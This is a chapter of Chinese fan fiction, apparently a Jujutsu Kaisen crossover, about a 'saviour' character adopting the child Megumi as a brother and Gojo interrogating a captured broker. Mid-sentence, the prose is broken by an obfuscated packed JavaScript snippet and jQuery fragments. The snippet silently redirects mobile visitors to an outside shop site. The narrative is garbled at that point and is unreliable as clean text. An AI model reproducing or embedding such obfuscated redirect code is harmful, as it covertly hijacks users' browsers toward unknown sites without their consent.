许久之后,邪恶的教育终于结束,克莱笛开始处理真正的问题,他抬手揭下在他和禅院惠面前被无视好几分钟的画,卷巴卷巴丢给了洋娃娃。
看着他简单到朴素的动作,被成功带歪的小孩再次震惊,感叹:“大哥哥好厉害。”
克莱笛得意叉腰,毫不犹豫地继续带坏小孩:“一般一般,世界第一罢了。比起这个,你最好是把那个送你这幅画的人打一顿,不然他下次还送。”
世界第一,听起来好厉害!
小孩露出了星星眼,又在听到克莱笛的后一句话后飞速运转起大脑,并将其与和刚刚学到的东西互相印证,最后成功得出了克莱笛的话很有道理的结论。
“好,谢谢大哥哥,我下次去公园玩的时候打他一顿。”他挥舞着丁点大的拳头,好像已经想象到了那个人受到惩戒的样子。
不过很快他就又脱离幻想,想起了克莱笛教了他那么多,而自己也答应要给克莱笛报酬,于是开始用力。
狗狗是在一周前出现的,当时禅院惠也不知道狗狗为什么会出现,最近才发现用力的时候狗狗更容易出现。
不清楚具体原理的小萝卜头就这么手上用力抓着空气,用力得脸都快红了才召唤出狗狗。
“白狗狗!”
被白狗狗扑了一脸的禅院惠开心地将它举起,想递给克莱笛。
白狗狗湿漉漉的眼睛看着克莱笛,哼哼了几声,像烧开的热水壶,可爱死了。
克莱笛十分给面子,毕竟谁会为难一只小狗呢?他当即接过这个柔软的糯米小团子,进行了一个举高高,“天呐,太可爱了!”
白狗狗被举得高高的,但是一点也不害怕,反而吐出舌头乖巧地卖萌,灯光下,它的每一搓毛毛都显得细白而柔软,泛着令人心情愉悦的光泽。
极品仙狗!
克莱笛只觉脑中某一条神经突然瓦特了,他十分确信这是被萌到的感觉,遂不管不管地大喊起来:“天杀的这明明是我的狗!”
一瞬间,听清楚他在喊什么的禅院惠和白狗狗同时呆滞了。
禅院惠试图阻止:“那个,大哥哥,白狗狗不是普通的狗狗,时间一到它就会消失的。”
“原来如此,”克莱笛恢复理智,迅速改口:“天杀的,你明明就是我失散多年的弟弟!”
禅院惠更震惊了,他的大脑一片空白——原来大哥哥真的是他的哥哥吗?
克莱笛深知打铁要趁热,脑瓜子一转就有想法了:“没错,这就是我知道你名字的原因,我是你异父异母的亲兄弟啊小惠!”
天呐,这真是太合理了!
因为是异父异母所以不住在一起,因为是亲兄弟所以知道他的名字。禅院惠的小脑袋瓜子无法反驳,立刻将其奉为真理。
他于是也迅速改口,满眼睛都是依赖:“哥哥!”
克莱笛抱着小狗不停揉搓,和他深情对望:“弟弟!”
“哥哥!”
“弟弟!”
辅助系统:哇,真是兄弟情深,感人肺腑。
怎么回事,它的眼睛怎么突然瞎了?那就没办法了,只能睁眼说瞎话了。
痛快地揉搓了一通小狗,和新认的便宜亲弟弟约定了下次再来,克莱笛愉悦地离开了。
这次出行不仅顺手拿了咒物给伙伴当玩具,还收获了一个免费的弟弟和小狗,克莱笛非常满意,决定好好报复这个世界!
辅助系统:救世主大人,那叫报答。
克莱笛:都一样啦都一样啦~
现在,无事一身轻的救世主要通过一个大的动作好好报答诅咒师以报复这个世界啦~
辅助系统:……
懒得纠正了,克莱笛开心就好,再帮克莱笛纠正下去它都怕自己变成第二个吉田石川。
那可真是自己给自己找事情做的经典案例,没见吉田石川现在已经变成了网站负责人吗?
只要能吃苦,就能吃苦吃苦吃苦最后变成社畜。
什么?你说吉田石川本来就是社畜?那没事了。
——
禅院甚尔,前咒术师杀手,现金盆洗手中,因爱妻突然昏倒,于是连夜拨打急救电话带妻子去了医院。
对于他来说,会忘记家里还有个年幼的孩子是很正常的事,他就是这样的人,除了老婆什么都不在乎。
“乃爱她怎么样了?”
刚下急救台就被一个人高马大的男人焦急拦住,医生打眼一看,只觉呼吸一顿,不由怀疑四周的空气是不是都被眼前这人压缩了。
他摇了摇头,知道这是病人家属,只是长得凶外加急迫了些,不能以貌取人,于是努力保持镇定,耐心解释:
“很抱歉先生,目前看来很难判断原因,您的妻子身体很健康,检查结果没有任何问题,或许还需要进一步的观察。”
“我再询问一遍,你确定在她晕倒前没有接触任何平常没有接触过的东西吗?”
禅院甚尔很确定答案,“没有。”
他们只是和往常一样在处理饭后的厨余垃圾而已,乃爱上一秒还在打趣他,下一秒突然就晕倒了,如果他没在旁边,这一下能直接栽水池里,等他发现,乃爱都要淹死了!
这件事不对劲,禅院甚尔沉思,医院检查不出问题,反而代表问题可能更加严重,或许是有心之人盯上了他。
从他身边人下手,这是看准了他的软肋,检查不出问题,说明很可能是特别类型的诅咒。
究竟是什么鬼东西,他都已经不干了却还要来纠缠,仇家吗?不太可能,禅院甚尔每次都斩草除根,那就只能是为了逼他脱离现在的生活了。
认识他,知道他的实力,能找到他现在的家庭,需要他帮忙却又一派高高在上的让人恶心的感觉,这样的家伙,是谁?
一定是和诅咒师相关。
禅院甚尔很快有了结论,他嘱托医院照顾好乃爱,付了住院费用后花钱又请了个信得过的护工,这才联络起那个被搁置了许久的电话。
手机响了一会儿,以前会被秒接的电话在半分钟后才被接通,这足够禅院甚尔判断手机已经不在他原主人手里。
不说某人有多期盼他重新打来的这通电话,单说他作为搭桥人的职业素养,他就不可能干出来晾禅院甚尔半分钟这种事。
果然,电话被接通后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617698|205181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,一个年轻而陌生的声音自电话那头传来:
“摩西摩西,这里是悟酱诅咒师地狱直达中心,请问你有什么需要帮助的吗?不管是想要上刀山下火海还是想被灌水泥沉东京湾悟酱都能为你达成所愿哦~”
悟酱、诅咒师、地狱直达中心……那家伙被抓了?
没有理会电话那头的五条悟的抖机灵,禅院甚尔毫不留情将就其迅速打断:“可以把电话交给他的原主人吗?我老婆出事了,可能和诅咒师有关。”
另一边,五条悟踩着已经被他捆成毛毛虫的家伙,犹疑地唔了一声,随后爽快答应,“好吧,谁让悟酱我是天使面孔天使心呢。”
将手机递到脚下这人耳边,五条悟从心地摆出了恶人脸:“你们这些家伙真是作恶多端啊,居然还搞人老婆,真是不要脸!”
被踩着的人一开始还唔唔唔地想要反驳,可惜嘴里被塞了东西怎么都说不出话,渐渐就眼神死了。
好在五条悟还知道他现在说不了话,把他嘴里的布料拿了出去。
没等这人反驳五条悟自己没搞人老婆,电话那头的声音就把他的注意力拉走:
“孔时雨,你要是今天过后还活着,帮我发个悬赏,寻找能解除因未知诅咒而导致的昏睡的人,只要能成功,赏金由他提。”
但凡换个时间,这活孔时雨一定接,主要是现在情况真有点特别,但看在禅院甚尔是他老主顾的份上,他还是叹口气,给他指了条路。
“——,你给这个人打电话,他应该有办法,我大概是活不下来了,这个忙我就不帮了。”
无奈地把话说完,孔时雨看向一旁沉思的五条悟。
“五条家的六眼,没想到会栽在你手里。”
感叹过后,他试着套取信息。
“咱们真的不能打个商量吗?我也没杀过人,只是干了点普通人讨生活的事,你这满世界抓诅咒师,没必要把我也算上吧?”
“再不济,至少让我知道我是因为什么被抓吧?”
没听说总监会那边有什么大动作啊,怎么五条悟自己急急忙忙地开始肆意抓捕诅咒师了,还一抓一个准,他究竟是怎么找上门的,是谁给他的信息?
看他这竭力狡辩的样子,五条悟笑了,“孔时雨,经手过刺杀咒术师的悬赏12例,构陷普通人的委托45例,还有协助诅咒师逃跑、伪造咒灵袭击、地下市场买卖……”
“你这家伙简直无恶不作啊,无辜?你是在逗我笑吗?”
喂喂,这也太夸张了吧?
听着五条悟一条一条吐出自己的罪行,孔时雨渐渐绷不住表情,满脸震惊。
这些事他做得不说是全无痕迹,也绝不会人尽皆知,五条悟究竟是从哪来的信息源?
总不能是他自己梦游的时候跑出去乱说的吧?还是说总监会其实一直志向远大,一直没有大力抓捕诅咒师就是为了将他们一网打尽?!
看他这表情就知道他在想什么,但五条悟可没有向他解释的义务,轻哼一声,一把将布料塞了回去,“慢慢猜去吧。”
什么意思?不是总监会搞的?怀着满腔不解,孔时雨再度失去了说话的能力。